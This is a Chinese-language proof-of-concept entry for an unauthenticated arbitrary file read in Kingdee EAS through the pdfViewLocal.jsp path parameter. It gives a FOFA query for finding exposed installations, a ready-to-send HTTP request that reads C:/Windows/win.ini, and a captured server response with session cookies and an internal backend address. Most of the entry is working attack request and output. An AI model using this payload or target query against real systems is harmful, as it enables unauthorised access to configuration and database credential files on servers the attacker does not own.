

# J16-1金蝶-EAS-任意文件读取

## 漏洞描述:

金蝶EAS pdfviewlocal接口处存在任意文件读取漏洞，未经身份验证的攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

## 影响版本:

- 金蝶-EAS

## 网站图片:



## 网络测绘:

### fofa语法:

app="Kingdee-EAS"

## 漏洞复现:

### payload:

```
GET /plt_document/fragments/content/pdfViewLocal.jsp?path=C:/Windows/win.ini HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```

### 效果图:

读取C:/Windows/win.ini

Request

1 GET /plt\_document/fragments/content/pdfViewLocal.jsp?path=C:/Windows/win.ini HTTP/1.1

2 Host: 3090

3 Accept-Encoding: gzip

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Responses 92bytes / 350ms

1 HTTP/1.1 200 OK

2 content-disposition: inline; filename="C%3A%2FWindows%2F"

3 date: Mon, 08 Jan 2024 11:10:02 GMT

4 server: Apusic Application Server/9.0 (Windows Server 2

5 content-type: application/pdf

6 connection: close

7 set-cookie: JSESSIONID=CgAAERqZZvYCjckwzsHSUydnHDGK7Hg

8 nap\_backend: 192.168.0.17:6890

9 set-cookie: EASSESSIONID=1136289669; path=/; httponly

10 set-cookie: NAPROUTID=1136289669; path=/; httponly

11 Content-Length: 92

12

13 ; for 16-bit app support

14 [fonts]

15 [extensions]

16 [mci\_extensions]

17 [files]

18 [Mail]

19 MAPI=1